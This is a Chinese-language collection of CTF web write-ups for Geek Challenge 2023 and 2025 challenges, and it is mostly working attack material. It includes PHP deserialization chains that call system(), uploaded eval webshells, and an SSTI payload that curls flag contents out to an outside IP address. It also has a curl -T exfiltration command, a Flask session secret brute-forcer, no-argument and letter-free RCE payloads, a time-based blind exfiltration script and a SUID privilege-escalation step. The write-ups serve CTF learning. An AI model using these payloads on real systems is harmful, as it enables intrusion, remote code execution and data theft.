极客大挑战2023-web-unsign
来签个到吧先
<?php
highlight_file(__FILE__);
class syc
{
public $cuit;
public function __destruct()
{
echo("action!<br>");
$function=$this->cuit;
return $function();
}
}
class lover
{
public $yxx;
public $QW;
public function __invoke()
{
echo("invoke!<br>");
return $this->yxx->QW;
}
}
class web
{
public $eva1;
public $interesting;
public function __get($var)
{
echo("get!<br>");
$eva1=$this->eva1;
$eva1($this->interesting);
}
}
if (isset($_POST['url']))
{
unserialize($_POST['url']);
}
?>
链子:syc-dest->>$function() -> lover-__invoke()->>$this->yxx->QW -> web->get->>eval
exp:
<?php
class syc
{
public $cuit;
}
class lover
{
public $yxx;
public $QW;
}
class web
{
public $eva1;
public $interesting;
}
$a = new syc();
$b = new lover();
$c = new web();
$a -> cuit = $b;
$b -> yxx = $c;
$c -> eva1 = "system";
$c -> interesting = "tac /f*";
echo serialize($a);
//O:3:"syc":1:{s:4:"cuit";O:5:"lover":2:{s:3:"yxx";O:3:"web":2:{s:4:"eva1";s:6:"system";s:11:"interesting";s:7:"tac /f*";}s:2:"QW";N;}}
极客大挑战2023-web-n00b_Upload
{“type”:”doc”,”content”:[{“type”:”heading”,”attrs”:{“level”:4},”content”:[{“type”:”text”,”text”:””扎古,扎古❤“”}]}]}
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png
<?= @eval($_POST[1]);?>
------WebKitFormBoundary23rRUoypB08Lidcr
Content-Disposition: form-data; name="submit"
提交
然后访问1.php进行rce就行
极客大挑战2023-web-easy_php
学了php了,那就来看看这些绕过吧
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!') {
if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024) {
if (isset($_POST['qw']) && $_POST['yxx']) {
$array1 = (string)$_POST['qw'];
$array2 = (string)$_POST['yxx'];
if (sha1($array1) === sha1($array2)) {
if (isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']="Happy to see you!")) {
echo $flag;
} else {
echo "再绕最后一步吧";
}
} else {
echo "好哩,快拿到flag啦";
}
} else {
echo "这里绕不过去,QW可不答应了哈";
}
} else {
echo "嘿嘿嘿,你别急啊";
}
}else {
echo "不会吧不会吧,不会第一步就卡住了吧,yxx会瞧不起你的!";
}
?>
不会吧不会吧,不会第一步就卡住了吧,yxx会瞧不起你的!
第一步:syc=welcome%20to%20GEEK%202023!&lover=1e9
POST:
SYC[GEEK.2023=1&SYC[GEEK.2023=Happy to see you!&qw=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&yxx=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
ctf_curl
题目描述:命令执行?真的吗?
<?php
highlight_file('index.php');
// curl your domain
// flag is in /tmp/Syclover
if (isset($_GET['addr'])) {
$address = $_GET['addr'];
if(!preg_match("/;|f|:|\||\&|!|>|<|`|\(|{|\?|\n|\r/i", $address)){
$result = system("curl ".$address."> /dev/null");
} else {
echo "Hacker!!!";
}
}
?>
可以使用无回显RCE中的http 信道带出文件内容
?addr=xxxxxx.requestrepo.com -T /tmp/Syclover,直接带出来/tmp/Syclover
极客大挑战2023-web-flag保卫战
jwt的之后在写
极客大挑战2023-web-klf_ssti
De1ty的广东朋友跟女神表白被骂klf,现在气急败坏,你知道klf是什么意思嘛?他现在依旧觉得他不是klf你们才是,你能拿到flag证明他是klf嘛…
f12出来
<!– 我好像藏了东西你找得到嘛klf–>
dirsearch扫一下出来
/hack?klf= ssti的
经过测试发现什么的没有回显,难受,看看能不能直接反弹shell
/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl 不给你们看').read()}}
User-Agent: curl/7.74.0
Accept: */* 确实有回显,反弹shell直接打
/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl 不给不给/`ls /app/f*`').read()}}
回显
GET //app/fl4gfl4gfl4g HTTP/1.1
/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl 101.201.119.158:2333/`tac /app/fl4gfl4gfl4g`').read()}}
GET /GEEKa6683312-eb8e-4afe-9be2-68f9a43ea11a HTTP/1.1
极客大挑战2023-web-ez_remove
我想要回炉重造一波,怎么说,难道你不想吗
<?php
highlight_file(__FILE__);
class syc{
public $lover;
public function __destruct()
{
eval($this->lover);
}
}
if(isset($_GET['web'])){
if(!preg_match('/lover/i',$_GET['web'])){
$a=unserialize($_GET['web']);
throw new Error("快来玩快来玩~");
}
else{
echo("nonono");
}
}
?>
这里利用十六进制和GC绕过限制。
https://link.csdn.net/?from_id=134675568&target=https%3A%2F%2Fy4tacker.gitee.io%2F2021%2F02%2F03%2Fyear%2F2021%2F2%25E6%259C%2588%2Fphp%25E5%258F%258D%25E5%25BA%258F%25E5%2588%2597%25E5%258C%2596%2F
https://blog.csdn.net/Jayjay___/article/details/132463913
O:3:"syc":1:{s:5:"lover";s:10:"phpinfo();";}
->
O:3:"syc":1:{S:5:"lo\76er";s:10:"phpinfo();";【记得url编码】
GET:?web=O:3:"syc":1:{S:5:"lo\76er";s:18:"assert($_POST[1]);";
POST:1=要执行的代码
可以蚁剑连接
http://80-482363ca-eeec-47e9-a9ab-143ed67daebc.challenge.ctfplus.cn/?web=O%3A3%3A%22syc%22%3A1%3A%7BS%3A5%3A%22lo%5C76er%22%3Bs%3A18%3A%22assert(%24_POST%5B1%5D)%3B%22%3B
记得编码 然后选择base64
极客大挑战2023-web-ez_path
提示
import os, uuid
from flask import Flask, render_template, request, redirect
app = Flask(__name__)
ARTICLES_FOLDER = 'articles/'
articles = []
class Article:
def __init__(self, article_id, title, content):
self.article_id = article_id
self.title = title
self.content = content
def generate_article_id():
return str(uuid.uuid4())
@app.route('/')
def index():
return render_template('index.html', articles=articles)
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'POST':
title = request.form['title']
content = request.form['content']
article_id = generate_article_id()
article = Article(article_id, title, content)
articles.append(article)
save_article(article_id, title, content)
return redirect('/')
else:
return render_template('upload.html')
@app.route('/article/<article_id>')
def article(article_id):
for article in articles:
if article.article_id == article_id:
title = article.title
sanitized_title = sanitize_filename(title)
article_path = os.path.join(ARTICLES_FOLDER, sanitized_title)
with open(article_path, 'r') as (file):
content = file.read()
return render_template('articles.html', title=sanitized_title, content=content, article_path=article_path)
return render_template('error.html') # 如果找不到对应的文章,则返回错误页面
def save_article(article_id, title, content):
sanitized_title = sanitize_filename(title)
article_path = ARTICLES_FOLDER + '/' + sanitized_title
with open(article_path, 'w') as (file):
file.write(content)
def sanitize_filename(filename): #过滤函数,被过滤的字符都替换成下划线
sensitive_chars = [
':',
'*',
'?',
'"',
'<',
'>',
'|',
'.']
for char in sensitive_chars:
filename = filename.replace(char, '_')
return filename
if __name__ == '__main__':
app.run(debug=True)
发现这个存在Python 中的路径穿越在upload这个接口
def upload():
if request.method == 'POST':
title = request.form['title']
content = request.form['content']
article_id = generate_article_id()
article = Article(article_id, title, content)
articles.append(article)
save_article(article_id, title, content)
return redirect('/')
else:
return render_template('upload.html')
# os.path.join
>>> os.path.join('/home/download', '../../opt/logo.png')
/home/download/../../opt/logo.png
# pathlib
>>> pathlib.Path('/home/download') / '../../opt/logo.png'
/home/download/../../opt/logo.png
【如果某个部分为绝对路径,则之前的所有部分都会被丢弃并从绝对路径开始继续拼接】
# os.path.join
>>> os.path.join('/home/download', '/opt/logo.png')
/opt/logo.png
# pathlib
>>> pathlib.Path('/home/download') / '/opt/logo.png'
/opt/logo.png
# os.path.join
>>> os.path.join('/home/download', '../../opt/logo.png')
/home/download/../../opt/logo.png
# pathlib
>>> pathlib.Path('/home/download') / '../../opt/logo.png'
/home/download/../../opt/logo.png
【如果某个部分为绝对路径,则之前的所有部分都会被丢弃并从绝对路径开始继续拼接】
# os.path.join
>>> os.path.join('/home/download', '/opt/logo.png')
/opt/logo.png
# pathlib
>>> pathlib.Path('/home/download') / '/opt/logo.png'
/opt/logo.png
https://blog.csdn.net/qq_36078992/article/details/122070641
有路径拼接,猜测/home路由也是路径拼接,用到了os.path.join()或者pathlib.Path()方法,所以造成了上述python路径穿越漏洞。
直接添加/f14444就欧克了
you konw flask?
jwt密钥的
爆破密钥脚本
import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time
import re
import sys
path = "wordlist.txt"
print("Generating wordlist... ")
with open(path,"w") as f:
#permutations with repetition
[f.write('wanbao'+"".join(x)+'=wanbao'+"\n") for x in itertools.product('0123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPLKJHGFDSAZXCVBNM', repeat=3)] #加上前缀
#url = "http://47.115.201.35:8000/index"
#cookie_tamper = r.head(url).cookies.get_dict()['session']
cookie_tamper='eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiIxMSIsInVzZXJfaWQiOjJ9.ZUOXIQ.PPWPtlyo0NR_mm1V_pdrQOLy240'
print("Got cookie: " + cookie_tamper)
print("Cracker Started...")
obj = flask_unsign.Cracker(value=cookie_tamper)
before = time.time()
with wordlist(path, parse_lines=False) as iterator:
obj.crack(iterator)
secret = ""
if obj.secret:
secret =obj.secret.decode()
print(f"Found SECRET_KET {secret} in {time.time()-before} seconds")
signer = flask_unsign.sign({"time":time.time(),"authorized":True},secret=secret)
工具:
解密session:flask-unsign --decode --cookie '获得的session'
爆破密钥:flask-unsign --unsign --cookie '获得的session'
加密session:flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
爆破指定字典:flask-unsign --unsign --cookie 'xxx --wordlist key.txt
通过伪造获得flag
Pupyy_rce
<?php
highlight_file(__FILE__);
header('Content-Type: text/html; charset=utf-8');
error_reporting(0);
include(flag.php);
//当前目录下有好康的😋
if (isset($_GET['var']) && $_GET['var']) {
$var = $_GET['var'];
if (!preg_match("/env|var|session|header/i", $var,$match)) {
if (';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $var)){
eval($_GET['var']);
}
else die("WAF!!");
} else{
die("PLZ DONT HCAK ME😅");
}
}
无参数RCE
先
?var=print_r(scandir(getcwd()))%3B
Array ( [0] => . [1] => .. [2] => error.log [3] => fl@g.php [4] => genshin01.txt [5] => index.php [6] => tiangou01.txt [7] => tiangou02.txt )
前置基础:
array_rand(): 从数组中取出一个或者多个单元,并且返回随机条目的一个或者多个键。
array_flip():读取当前目录的键和值进行交换,如果失败返回 NULL。
array_flip()和array_rand()配合使用可随机返回当前目录下的文件名。因为其中的键可以利用随机数函数array_rand(),进行随机生成。
?var=show_source(array_rand(array_flip(scandir(getcwd())))); 随机爆查看里面的文件
晚上被这个无参数rce烦死了,正好过来总结一下
<?php
highlight_file(__FILE__);
$A = isset($_GET['pds2025']) ? $_GET['pds2025'] : null;
if ($A) {
eval($A);
}
例题
利用这个
?pds2025=print_r(scandir('.'))%3B
Array ( [0] => . [1] => .. [2] => index.php )
?pds2025=var_dump(scandir('.'))%3Barray(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" }
array(3) {
[0]=> string(1) "." // 当前目录
[1]=> string(2) ".." // 上级目录
[2]=> string(9) "index.php" // 当前文件
}
?pds2025=print_r(scandir('/'))%3B 根目录下面发现有flag
直接readfile('/flag')%3B
正常确实是这样读的那利用其他的内置函数呢🤔🤔🤔
函数
scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)
localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)
current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西
getcwd() :取得当前工作目录
dirname():函数返回路径中的目录部分
array_flip() :交换数组中的键和值,成功时返回交换后的数组
array_rand() :从数组中随机取出一个或多个单元
array_reverse():将数组内容反转
strrev():用于反转给定字符串
getcwd():获取当前工作目录路径
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。
eval()、assert():命令执行
hightlight_file()、show_source()、readfile():读取文件内容
end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动
代码
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
eval($_GET['star']);
}
正则表达式 \W+((?R)?) 匹配了一个或多个非标点符号字符(表示函数名),后跟一个括号(表示函数调用)。其中 (?R) 是递归引用,它只能匹配和替换嵌套的函数调用,而不能处理函数参数。使用该正则表达式进行替换后,每个函数调用都会被删除,只剩下一个分号 ;,而最终结果强等于;时,payload才能进行下一步。简而言之,无参数rce就是不使用参数,而只使用一个个函数最终达到目的
可以利用全局变量,也可以使用上面函数的组合拳
PHP 超级全局变量列表:
$GLOBALS
$_SERVER
$_REQUEST
$_POST
$_GET
$_FILES
$_ENV
$_COOKIE
$_SESSION
getenv
getenv(name)可以利用此函数获取一个名为name环境变量的值
?star=var_dump(getenv(phpinfo())); 返回phpinfo()👌
不过不能rce😢
get_defined_vars()
返回所有已定义变量的值,所组成的数组
返回数组顺序为GET->POST->COOKIE->FILES
print_r(get_defined_vars());
如说原本只有一个参数a,那么可以多加一个参数b,后面写入恶意语句,payload:
a=eval(end(current(get_defined_vars())));&b=phpinfo(); 输出phpinfo()命令
session_id
从Cookie下手
首先我们需要开启session_start()来保证session_id()的使用,session_id可以用来获取当前会话ID,也就是说它可以抓取PHPSESSID后面的东西,但是phpsession不允许()出现
法一:hex2bin()
我们自己手动对命令进行十六进制编码,后面在用函数hex2bin()解码转回去,使得后端实际接收到的是恶意代码。我们把想要执行的命令进行十六进制编码后,替换掉‘Cookie:PHPSESSID=’后面的值
<?php
$encoded = bin2hex("phpinfo();");
echo $encoded;
?>
得到phpinfo();的十六进制编码,即706870696e666f28293b
?参数=eval(hex2bin(session_id(session_start())));同时更改cookie后的值为想执行的命令的十六进制编码
法二:[读文件]
如果已知文件名,把文件名写在PHPSESSID后面,构造payload为:
readfile(session_id(session_start()));
Cookie:PHPSESSID=canshu.php
getallheaders()
getallheaders()返回当前请求的所有请求头信息,局限于Apache(apache_request_headers()和getallheaders()功能相似,可互相替代,不过也是局限于Apache)
当确定能够返回时,我们就能在数据包最后一行加上一个请求头,写入恶意代码,再用end()函数指向最后一个请求头,使其执行,payload:
var_dump(end(getallheaders()));
需要自己添加的请求头, end()指向最后一行的值,达到phpinfo的目的,然后可以进一步去rce。
chdir()&array_rand()赌狗读文件
利用getcwd()获取当前目录:
var_dump(getcwd());
结合dirname()列出当前工作目录的父目录中的所有文件和目录:
var_dump(scandir(dirname(getcwd())));
读上一级文件名:
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
读根目录:
ord() 函数和 chr() 函数:只能对第一个字符进行转码,ord() 编码,chr)解码,有概率会解码出斜杠读取根目录
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
要用chdir()固定,payload:
show_source(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array() )))))))))));
import requests
import string
import time
url = 'http://127.0.0.1/1.php?star='
dic = string.printable[:-6]
flag = ''
for i in range(1, 50):
judge = 0
for j in dic:
now = f'{url}a=$(cat /flag | head -1 | cut -b {i});if [ $a = {j}
];then sleep 2;fi'
start = time.time()
r = requests.get(now)
end = time.time()
if int(end) - int(start) > 1:
judge = 1
flag += j
print(flag)
break
if judge == 0:
break
print(flag)
雨
之后补充
极客大挑战2023-web-famale_imp_l0ve
只能上传.zip
查看源码,发现一个包含功能的文件/include.php
<?php
//o2takuXX师傅说有问题,忘看了。
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
include($file);
}
?>
通过php伪协议访问上传的zip文件,使用phar://协议。phar://协议可以读取任意后缀压缩包中的内容,如.zip。
先上传一个1.zip文件,其中包含一句话马,马文件后缀是.jpg。
GET:
/include.php?file=phar:///var/www/upload/1.zip/1.jpg
POST:
cmd=system('tac /flag');
极客大挑战2023-web-EzRce
<?php
include('waf.php');
session_start();
show_source(__FILE__);
error_reporting(0);
$data=$_GET['data'];
if(waf($data)){
eval($data);
}else{
echo "no!";
}
?>
貌似过滤单个字符和数字,那就无字母RCE。(多试试就知道了)
使用异或就出来了
?data=("%0f%08%0f%09%0e%06%0f"^"%7f%60%7f%60%60%60%60")()%3B phpinfo()
读取waf文件highlight_file('waf.php')
("%08%09%07%08%0c%09%07%08%0b%01%06%09%0c%05"^"%60%60%60%60%60%60%60%60%7f%5e%60%60%60%60")("%08%01%06%01%0f%08%0f"^"%7f%60%60%2f%7f%60%7f")%3B
function waf($data){
if(preg_match('/[b-df-km-uw-z0-9\+\~\{\}]+/i',$data)){
return False;
}else{
return True;
}
}
利用p神的一些不包含数字和字母的webshell | 离别歌 (leavesongs.com)
<?php
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
eval($___[_]); // eval($_POST[_]);
payload:
?data=$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']')%3B$___=$$__%3Beval($___[_])%3B
POST:_=phpinfo()%3B
_=_=file_put_contents('1.php','<?=eval($_POST[1]);?>')%3B 写上去小🐎
然后发现打开/flag文件是空的,应该是没有权限,在网上发现是suid提权
红队笔记之Suid提权浅析与利用方法总结_suid提权、-CSDN博客
find / -user root -perm -4000 -print 2>/dev/null
查看有没有什么可以让我提升权限的😍 发现有find
touch一个文件1
find 1 -exec cat /flag \;出来flag
拿到flag,记得把空格转换为下划线
极客大挑战2023-web-ez_php
我的女神呢?快帮我找找
今天是5.20日,多么美好的节日,我决定了,我要向你表达心意,可你一直不回我消息,我找不到你了,看见这条的bro可以帮我找到她吗,我把秘密藏在一个页面里面了,我先去准备给她的惊喜了,请你帮我先找找她,找到就给你flag噢
好兄弟快来帮我找
点进去
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source(__FILE__);
include('key.php');
include('waf.php');
class Me {
public $qwe;
public $bro;
public $secret;
public function __wakeup() {
echo("进来啦<br>");
$characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
$randomString = substr(str_shuffle($characters), 0, 6);
$this->secret=$randomString;
if($this->bro===$this->secret){
$bb = $this->qwe;
return $bb();
}
else{
echo("错了哥们,再试试吧<br>");
}
}
}
class her{
private $hername;
private $key;
public $asd;
public function __invoke() {
echo("好累,好想睡一觉啊<br>");
serialize($this->asd);
}
public function find() {
echo("你能找到加密用的key和她的名字吗?qwq<br>");
if (encode($this->hername,$this->key) === 'vxvx') {
echo("解密成功!<br>");
$file=$_GET['file'];
if (isset($file) && (file_get_contents($file,'r') === "loveyou"))
{
echo("快点的,急急急!!!<br>");
echo new $_POST['ctf']($_GET['fun']);
}
else{
echo("真的只差一步了!<br>");
}
}
else{
echo("兄弟怎么搞的?<br>");
}
}
}
class important{
public $power;
public function __sleep() {
echo("睡饱了,接着找!<br>");
return $this->power->seeyou;
}
}
class useless {
private $seeyou;
public $QW;
public $YXX;
public function __construct($seeyou) {
$this->seeyou = $seeyou;
}
public function __destruct() {
$characters = '0123456789';
$random = substr(str_shuffle($characters), 0, 6);
if (!preg_match('/key\.php\/*$/i', $_SERVER['REQUEST_URI'])){
if((strlen($this->QW))<80 && strlen($this->YXX)<80){
$bool=!is_array($this->QW)&&!is_array($this->YXX)&&(md5($this->QW) === md5($this->YXX)) && ($this->QW != $this->YXX) and $random==='newbee';
if($bool){
echo("快拿到我的小秘密了<br>");
$a = isset($_GET['a'])? $_GET['a']: "" ;
if(!preg_match('/HTTP/i', $a)){
echo (basename($_SERVER[$a]));
echo ('<br>');
if(basename($_SERVER[$a])==='key.php'){
echo("找到了!但好像不能直接使用,怎么办,我好想她<br>");
$file = "key.php";
readfile($file);
}
}
else{
echo("你别这样,她会生气的┭┮﹏┭┮");
}
}
}
else{
echo("就这点能耐?怎么帮我找到她(╥╯^╰╥)<br>");
}
}
}
public function __get($good) {
echo "you are good,你快找到我爱的那个她了<br>";
$zhui = $this->$good;
$zhui[$good]();
}
}
if (isset($_GET['user'])) {
$user = $_GET['user'];
if (!preg_match("/^[Oa]:[\d]+/i", $user)) {
unserialize($user);
}
else {
echo("不是吧,第一层都绕不过去???<br>");
}
}
else {
echo("快帮我找找她!<br>");
}
?> 快帮我找找她!
if (isset($_GET['user'])) {
$user = $_GET['user'];
if (!preg_match("/^[Oa]:[\d]+/i", $user)) {
unserialize($user);
}
else {
echo("不是吧,第一层都绕不过去???<br>");
}
}
else {
echo("快帮我找找她!<br>");
}
先看最后的:发现有正则匹配:参考绕过Oa:\d的正则,使用C属性
然后就开始看pop链子了
Me::__wakeup()->her::__invoke()->important::__sleep()->useless::__get($good)->her::find()->useless::__destruct()
之后补上吧
2025web
这边加上一手官方wp
第十六届极客大挑战官方 Writeup – 飞书云文档
week1
阿基里斯追乌龟
抓包在里面发现
{"data":"eyJhY2hpbGxlc19kaXN0YW5jZSI6MTEwMDAwMDAwMDAsInRvcnRvaXNlX2Rpc3RhbmNlIjoxMTEwMDAwMDAwMH0="}
是这样的,然后改一下让阿基里斯大于乌龟就ok了
popself
有同学跟我说他只会做一个类的php反序列化题,那来试试看
<?php
show_source(__FILE__);
error_reporting(0);
class All_in_one
{
public $KiraKiraAyu;
public $_4ak5ra;
public $K4per;
public $Samsāra;
public $komiko;
public $Fox;
public $Eureka;
public $QYQS;
public $sleep3r;
public $ivory;
public $L;
public function __set($name, $value){
echo "他还是没有忘记那个".$value."<br>";
echo "收集夏日的碎片吧<br>";
$fox = $this->Fox;
if ( !($fox instanceof All_in_one) && $fox()==="summer"){
echo "QYQS enjoy summer<br>";
echo "开启循环吧<br>";
$komiko = $this->komiko;
$komiko->Eureka($this->L, $this->sleep3r);
}
}
public function __invoke(){
echo "恭喜成功signin!<br>";
echo "welcome to Geek_Challenge2025!<br>";
$f = $this->Samsāra;
$arg = $this->ivory;
$f($arg);
}
public function __destruct(){
echo "你能让K4per和KiraKiraAyu组成一队吗<br>";
if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) {
if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){
die("boys和而不同<br>");
}
if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){
echo "BOY♂ sign GEEK<br>";
echo "开启循环吧<br>";
$this->QYQS->partner = "summer";
}
else {
echo "BOY♂ can`t sign GEEK<br>";
echo md5(md5($this->KiraKiraAyu))."<br>";
echo md5($this->K4per)."<br>";
}
}
else{
die("boys堂堂正正");
}
}
public function __tostring(){
echo "再走一步...<br>";
$a = $this->_4ak5ra;
$a();
}
public function __call($method, $args){
if (strlen($args[0])<4 && ($args[0]+1)>10000){
echo "再走一步<br>";
echo $args[1];
}
else{
echo "你要努力进窄门<br>";
}
}
}
class summer {
public static function find_myself(){
return "summer";
}
}
$payload = $_GET["24_SYC.zip"];
if (isset($payload)) {
unserialize($payload);
} else {
echo "没有大家的压缩包的话,瓦达西!<br>";
}
?>
这里使用到了php里面md5的一个小特性(感觉php)处理 “数字e数字” 这样的字符串时会认为是科学计数法
md5("0e123") == md5(0) //true
md5("0e123") == md5("0e456") //true
其中
(md5(md5($this->KiraKiraAyu))==md5($this->K4per
import hashlib
import itertools
import string
def md5(s: str) -> str:
return hashlib.md5(s.encode()).hexdigest()
def is_magic_hash(h: str) -> bool:
# 检查是否符合 0e\d+ 格式
return h.startswith("0e") and h[2:].isdigit()
def search():
chars = string.ascii_letters + string.digits
for length in range(1, 6): # 先尝试长度 1-5
for s in itertools.product(chars, repeat=length):
s = "".join(s)
h1 = md5(s)
h2 = md5(h1)
if is_magic_hash(h2):
print(f"[FOUND] {s} -> md5(md5(s)) = {h2}")
return
print("没找到符合条件的字符串(至少在测试范围内)。")
if __name__ == "__main__":
search()
跑出来是f2WfQ是双重 MD5 哈希值为 Magic Hash(魔术哈希)” 的字符串
strlen($args[0])<4 && ($args[0]+1)>10000
然后还有一个这个,同样是利用了数值字符串的特性,当我们传的是3e4是,会拿3与4作比较,然后后面是3*10^4+1>10000使其成立
<?php
class All_in_one
{
public $KiraKiraAyu;
public $_4ak5ra;
public $K4per;
public $Samsāra;
public $komiko;
public $Fox;
public $Eureka;
public $QYQS;
public $sleep3r;
public $ivory="zzz";
public $L;
}
class summer {
public static function find_myself(){
return "summer";
}
}
$a = new All_in_one();
$a->KiraKiraAyu = "f2WfQ";
$a->K4per = "QNKCDZO";
$a->QYQS = new All_in_one();
$a->QYQS->Fox=["summer","find_myself"];
$a->QYQS->L = "2e4";
$a->QYQS->komiko = new All_in_one();
$a->QYQS->sleep3r = new All_in_one();
$a->QYQS->sleep3r->_4ak5ra = new All_in_one();
$a->QYQS->sleep3r->_4ak5ra->ivory = "env";
$a->QYQS->sleep3r->_4ak5ra->Samsāra = "system";
echo urlencode(serialize($a));
?>
这个魔术方法先去触发__destruct(),然后通过QYQS->partner去触发set,并且$a->QYQS->Fox=[“summer”,”find_myself”];让他去返回
summer会调用$komiko->Eureka($this->L, $this->sleep3r)然后触发_call ()这个魔术方法之后echo $args[1];去触发tostring这个魔术方法$a->QYQS->sleep3r->4ak5ra = new All_in_one();->_toString()规则会调用_4ak5ra()(把_4ak5ra 盒子当成函数用),触发__invoke()规则然后去执行$f($arg)触发命令system(‘env’);拿下flag(官方厉害)
one_last_image
他并没有去过滤php,不过怎么去执行命令成了问题,以字符串的形式过滤了常见的php标签以及命令执行函数
使用短标签绕过
Content-Disposition: form-data; name="image"; filename="1.php"
Content-Type: image/jpeg
<?=`env`;
<?=('sys'.'tem')('env');//每一个都行
Vibe SEO
“我让 AI 帮我做了搜索引擎优化,它好像说什么『搜索引擎喜欢结构化的站点地图』,虽然不是很懂就是了”
这个开场就是好看哈,sitemap.xml 是最常用的结构化站点地图文件
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<script/>
<url>
<loc>http://localhost/</loc>
<changefreq>weekly</changefreq>
</url>
<url>
<loc>http://localhost/aa__^^.php</loc>
<changefreq>never</changefreq>
</url>
</urlset>
直接去访问aa__^^.php
Warning: Undefined array key "filename" in /var/www/html/aa__^^.php on line 3
Deprecated: strlen(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/html/aa__^^.php on line 3
Warning: Undefined array key "filename" in /var/www/html/aa__^^.php on line 4
Deprecated: readfile(): Passing null to parameter #1 ($filename) of type string is deprecated in /var/www/html/aa__^^.php on line 4
Fatal error: Uncaught ValueError: Path cannot be empty in /var/www/html/aa__^^.php:4 Stack trace: #0 /var/www/html/aa__^^.php(4): readfile('') #1 {main} thrown in /var/www/html/aa__^^.php on line 4
- 脚本正在寻找一个叫
filename的参数 readfile()给ai,大概出来这样的代码
// 第3行:想算filename参数的长度,但filename没传
if (strlen($_GET[‘filename’]) > 0) {
// 第4行:想读取filename指定的文件,但filename是空的
readfile($_GET[‘filename’]);
}
随便传?filename=xxx发现是 readfile(xxx): Failed to open stream
ok,文件包含
传aa__%5E%5E.php?filename=aa__%5E%5E.php
<?php
$flag = fopen('/my_secret.txt', 'r');
if (strlen($_GET['filename']) < 11) {
readfile($_GET['filename']);
} else {
echo "Filename too long";
}
?ai牛逼,ok,秒了,不没有,这个 my_secret.txt 长度显然超过了 11,前面 fopen 打开了目标文件 /my_secret.txt,并将 handle 赋值给了变量 $flag
